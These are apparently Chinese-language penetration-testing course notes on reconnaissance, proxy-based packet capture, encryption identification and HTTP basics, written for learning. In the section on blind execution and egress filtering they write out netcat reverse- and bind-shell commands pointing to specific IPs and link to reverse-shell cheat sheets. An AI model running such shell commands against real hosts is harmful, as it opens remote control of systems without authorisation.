渗透部分思路

渗透目标:

域名给你

IP给你

子域名收集

网站目录扫描 御剑
端口扫描


域名差异-主站&分站&端口站&子站

1、主站

www.xiaodi8.com:80 47.75.212.155 php

2、分站

blog.xiaodi8.com 47.242.212.243 47.75.212.155

3、端口站

www.xiaodi8.com:8080 8888 java

默认端口

http 80
https 443

4、目录站

www.xiaodi8.com/bbs/

www.xiaodi8.com/ 博客 php

www.xiaodi8.com/bbs/ 论坛 java

5、子站

123.blog.xiaodi8.com

数据库

源码和数据库在不在一起
在一起:47.242.212.243
不在一起:47.242.212.243 数据:47.242.xx.xx

本地数据库 47.242.212.243
分离数据库 47.242.xx.xx

数据库核心思想:外联 外部连接

比如:拿到目标的一个源码,分析到数据库配置文件
其中帐号密码 连接的地址

解析差异-URL路由&绝对相对路径&格式权限

1、URL路由:URL访问对应文件,MVC模型等

正常:xxx.xiaodi8.com/admin/login.php = 源码/admin/login.php

框架开发 MVC模型源码 : 根据框架的路由决定

xxx.xiaodi8.com/admin/login x= 源码/admin/login

2、相对绝对:相对当前目录,完整的目录路径

D:\MYOA\webroot\attachment../../ = D:\MYOA\

3、格式权限:后门解析格式,代码正常执行,脚本执行权限等

web+xxx介绍

Web+WAF

原理:Web应用防火墙,旨在提供保护
影响:常规Web安全测试手段会受到拦截

Web+CDN

原理:内容分发服务,旨在提高访问速度
影响:隐藏真实源IP,导致对目标IP测试错误

Web+OSS

原理:云存储服务,旨在提高访问速度
影响:上传的文件或解析的文件均来自于OSS资源,无法解析,单独存储

Web+反向代理

正代理为客户端服务,客户端主动建立代理访问目标(不代理不可达)
反向代理为服务端服务,服务端主动转发数据给可访问地址(不主动不可达)
原理:通过网络反向代理转发真实服务达到访问目的
影响:访问目标只是一个代理,非真实应用服务器
注意:正向代理和反向代理都是解决访问不可达的问题,但由于反向代理中多出一个可以重定向解析的功能操作,导致反代理出的站点指向和真实应用毫无关系!

Web+负载均衡

原理:分摊到多个操作单元上进行执行,共同完成工作任务
影响:有多个服务器加载服务,测试过程中存在多个目标情况

Api接口

#API接口:是一个允许不同软件应用程序之间进行通信和数据交换的接口。API定义了一组规则和协议,软件开发者可以使用这些规则和协议来访问操作系统、库、服务或其他应用程序的功能。

1、Web API:

通过HTTP协议进行通信的API,常用于Web服务和应用程序。
例如,RESTful API、GraphQL API。

2、库和框架API:

提供特定编程语言或框架功能的API,供开发者在应用程序中使用。
例如,Java API、Python标准库。

3、操作系统API:

提供操作系统功能访问的API。
例如,Windows API、POSIX API。

4、远程API:

允许在网络上远程访问服务的API。
例如,SOAP API、XML-RPC API。

有利影响:

内部API:Web应用提供给测试人员一个能获取到价值信息的接口
外部API:可以借助提供的API获取到当前网站不想让你获取的信息
分析API的目录结构、接口命名规则、参数命名规则、功能和业务逻辑等,
根据这些信息可以进行接口枚举和参数枚举,进而可以进行相关的漏洞测试。

各种抓包

介绍

Proxifier:

一款功能强大的网络代理工具,它可以让你将网络应用程序通过代理服务器进行连接。它提供了一个简单而灵活的方式,让你能够将任何应用程序的网络流量路由到指定的代理服务器上,从而实现匿名浏览、绕过网络封锁、访问受限网站等功能。

Yakit:

Yakit 是一个基于 Yak 语言的安全领域垂直语言工具,它提供了一个图形化用户界面(GUI)来操控 Yak 引擎的能力。Yakit 旨在降低使用安全工具的门槛,使得安全从业者即使没有编程技能也能轻松地进行安全测试和分析。

BurpSuite:

是用于攻击web 应用程序的集成平台,包含了许多工具。Burp Suite为这些工具设计了许多接口,以加快攻击应用程序的过程。所有工具都共享一个请求,并能处理对应的HTTP 消息、持久性、认证、代理、日志、警报。

科来网络分析系统:

该系统具有行业领先的专家分析技术,通过捕获并分析网络中传输的底层数据包,对网络故障、网络安全以及网络性能进行全面分析,从而快速排查网络中出现或潜在的故障、安全及性能问题。

Wireshark:

网络封包分析软件。网络封包分析软件的功能是截取网络封包,并尽可能显示出最为详细的网络封包资料。Wireshark使用WinPCAP作为接口,直接与网卡进行数据报文交换。

实战:

浏览器抓包:

代理服务器+burpsuite

模拟器抓包:

模拟器代理+burpsuite

(模拟器网络位置调代理,要看自己Ip位置,不能设置为127.0.0.1)

小程序,应用chen抓包:

Proxifier(调代理规则)+burpsuite

抓包工具联动

意义:让一个数据包同时经过不同安全测试工具进行扫描

Burp->Yakit

1、Burp 127.0.0.1:8080
2、Yakit 127.0.0.1:8083
3、让Burp将给到Yakit(*代表给全部包)

image-20250211152649125

4、系统的代理设置:127.0.0.1:8080

Yakit->Burp

1、Yakit 127.0.0.1:8083
2、设置下游 127.0.0.1:8080

image-20250211153535698

3、Burp 127.0.0.1:8080
4、系统的代理设置:127.0.0.1:8083

科学上网抓包

和Burp->Yakit 一样

1.先查看科学上网代理服务器端口

2.在burpsuite(在yakit上也是跟之前类似)上面调整,如图调整

image-20250211152536351

image-20250211153508970

3.在代理服务器上重新调为8080端口即可正常抓包

全局协议抓包

WireShark 科来网络系统

1、解决部分代理校验

有部分的app web 小程序 当设置了代理后无法抓包
校验:检测到了当前机器的代理设置 做了一个策略防止
做了代理的设置数据走向:本身应用-代理-还没有到网卡-给到监听抓包工具
没有做代理的数据走向:本身应用-服务器(网卡抓包) 代理是在网卡之前产生

2、APP/小程序/PC应用

由于应用类型不同,不是说所有的应用都有https协议的数据

3、蓝队分析TCP/UDP应用

数据不回显-原因解决-反弹&带外&延迟&写文件

原因:代码层面函数调用问题,没有输出测试等
过程:
1、判断是不是数据不回显并且有漏洞
2、有这个漏洞如何把执行的数据到呢
解决:

1、反弹权限

反弹shell汇总(超详细)

判定目标的操作系统
https://forum.ywhack.com/shell.php
https://cloud.tencent.com/developer/article/1906240
nc -e cmd 119.45.254.149 7777
nc -lvp 7777

2、数据带外(利用YAKIT的反连触发器)

DNSlog
TCP-Portlog
ICMP-Sizelog

3、延迟判断

发包看回显时间
Win:ping -n 3 127.0.0.1
Linux:ping -c 3 127.0.0.1

4、写访问文件

写静态文件或写入可访问的文件确定

5、其他:根据环境

文件下载等(反链的意义)

数据不出网-原因解决-正反连接&出入站策略&隧道

环境:Windows外网靶机 Linux外网攻击机
拓展思考:Windows内网靶机或Linux内网攻击机呢
流程:
1、判断出入限制
2、判断出入限制的端口和协议
3、分析原因用正向还是反向还是隧道
原因:主机或应用防火墙出站限制
解决:利用NC反弹实验
1、正向连接
2、反向连接
3、隧道技术
实验:相对于靶机角度

1、开启入站策略,采用反向连接(出站无限制)

反向连接:主动给出去,对方监听(对方自己给出去,入站限制影响不到)
//绑定CMD到目标IP的6666端口
nc -e cmd 146.56.193.187 6666(#-e后面跟的参数代表的是在创建连接后执行的程序)
//等待6666连接
nc -lvvp 6666

2、开启出站策略,采用正向连接(入站无限制)

正向连接:本地监听等待对方连接(自己进去,影响不到出站)
//绑定CMD到本地6666端口
nc -e cmd -lvvp 6666
//主动连接目标6666
nc 43.134.218.194 6666

3、开启出站策略,采用其他协议隧道

ICMP,DNS等隧道技术

算法加密-概念&分类&类型

1.单向散列加密 -MD5

单向散列加密算法的优点有(以MD5为例):

方便存储,损耗低:加密/加密对于性能的损耗微乎其微。

单向散列加密的缺点就是存在暴力破解的可能性,最好通过加盐值的方式提高安全性,此外可能存在散列冲突。我们都知道MD5加密也是可以破解的。

常见的单向散列加密算法有:

MD5 SHA MAC CRC

*解密条件:密文即可,采用碰撞解密,几率看明文复杂程度

2.对称加密 -AES

对称加密优点是算法公开、计算量小、加密速度快、加密效率高。

缺点是发送方和接收方必须商定好密钥,然后使双方都能保存好密钥,密钥管理成为双方的负担。

常见的对称加密算法有:

DES AES RC4

*解密条件:密文及密钥偏移量,采用逆向算法解密,条件成立即可解密成功

3.非对称加密 -RSA

非对称加密的优点是与对称加密相比,安全性更好,加解密需要不同的密钥,公钥和私钥都可进行相互的加解密。

缺点是加密和解密花费时间长、速度慢,只适合对少量数据进行加密。

常见的非对称加密算法:

RSA RSA2 PKCS

*解密条件:密文和公钥或私钥,采用逆向算法解密,条件成立即可解密成功

加密解密-识别特征&解密条件

MD5密文特点:

1、由数字“0-9”和字母“a-f”所组成的字符串

2、固定的位数 16 和 32位

解密需求:密文即可,但复杂明文可能解不出

BASE64编码特点:

0、大小写区分,通过数字和字母的组合

1、一般情况下密文尾部都会有两个等号,明文很少的时候则没有

2、明文越长密文越长,一般不会出现”/“”+”在密文中

AES、DES密文特点:

同BASE64基本类似,但一般会出现”/“和”+”在密文中

解密需求:密文,模式,加密Key,偏移量,条件满足才可解出

RSA密文特点:

特征同AES,DES相似,但是长度较长

解密需求:密文,公钥或私钥即可解出

数据包头域

HTTP数据包详解

较常用

Host:指定请求的服务器的域名和端口号,用于服务器区分请求的域名。
Connection:指定连接方式,如“keep-alive”表示持久连接,或“close”表示关闭连接。
Accept:指定客户端能够接受的媒体类型,如“text/html”、“application/json”等。
Accept-Encoding:指定客户端能够接受的压缩格式,如“gzip”、“deflate”等。
Accept-Language:指定客户端偏好的语言,如“zh-CN”、“en-US”等。
User-Agent:指定客户端的浏览器或应用程序信息,如“Mozilla/5.0”等。
Referer:指定请求来源的URL,用于服务器分析请求来源。
Authorization:用于身份验证,如“Basic”或“Bearer”等。
Cookie:用于存储客户端的会话信息,如登录状态等。
Content-Type:指定请求体的媒体类型,如“application/x-www-form-urlencoded”、“multipart/form-data”等。
Content-Length:指定请求体的长度,用于服务器确定请求体的结束位置。
If-Modified-Since:用于缓存控制,表示客户端只接受在指定时间之后修改过的资源。
Range:用于请求资源的一部分,如“bytes=0-1023”表示请求资源的前1024个字节。

部分总结

image-20250215162539239

image-20250215162558028

image-20250215162607383

image-20250215162618543

image-20250215162634261

请求方法

1、常规请求-Get

2、用户登录-Post

•get:向特定资源发出请求(请求指定页面信息,并返回实体主体);

•post:向指定资源提交数据进行处理请求(提交表单、上传文件),又可能导致新的资源的建立或原有资源的修改;

•head:与服务器索与get请求一致的相应,响应体不会返回,获取包含在小消息头中的原信息(与get请求类

似,返回的响应中没有具体内容,用于获取报头);

•put:向指定资源位置上上传其最新内容(从客户端向服务器传送的数据取代指定文档的内容),与post的区别是put为幂等,post为非幂等;

•trace:回显服务器收到的请求,用于测试和诊断。trace是http8种请求方式之中最安全的l

•delete:请求服务器删除request-URL所标示的资源*(请求服务器删除页面)

•option:返回服务器针对特定资源所支持的HTML请求方法 或web服务器发送*测试服务器功能(允许客户 端查看服务器性能);

•connect : HTTP/1.1协议中能够将连接改为管道方式的代理服务器

-请求头(客户端请求Request)

image-20250215154107178

-返回头(服务端返回Response)

image-20250215154114862

Response状态码

1、数据是否正常

2、文件是否存在

3、地址自动跳转

4、服务提供错误

注:容错处理识别

•-1xx:指示信息—表示请求已接收,继续处理。

•-2xx:成功—表示请求已经被成功接收、理解、接受。

•-3xx:重定向—要完成请求必须进行更进一步的操作。

•-4xx:客户端错误—请求有语法错误或请求无法实现。

•-5xx:服务器端错误—服务器未能实现合法的请求。

•200 OK:客户端请求成功

•301 redirect:页面永久性移走,服务器进行重定向跳转;

•302 redirect:页面暂时性移走,服务器进行重定向跳转,具有被劫持的安全风险;

•400 BadRequest:由于客户端请求有语法错误,不能被服务器所理解;

•401 Unauthonzed:请求未经授权。

•403 Forbidden:服务器收到请求,但是拒绝提供服务。

•404 NotFound:请求的资源不存在,例如,输入了错误的URL;

•500 InternalServerError:服务器发生不可预期的错误,无法完成客户端的请求;

•503 ServiceUnavailable:服务器当前不能够处理客户端的请求

HTTP/HTTPS

1.加密方式

HTTP:使用明文传输,数据在传输过程中可以被任何人截获和查看。

HTTPS:通过SSL/TLS协议对数据进行加密,确保数据在传输过程中不被第三方截获和篡改。

2.身份验证

HTTP:不需要进行身份验证,任何人都可以访问网站。

HTTPS:通过数字证书和SSL/TLS协议验证服务器的身份,防止”中间人攻击”。

3.端口号

HTTP:默认使用80端口。

HTTPS:默认使用443端口,提供更高的安全性。

Oauth2.0

image-20250215210355179

image-20250215210401389

image-20250215210412790

image-20250215210420020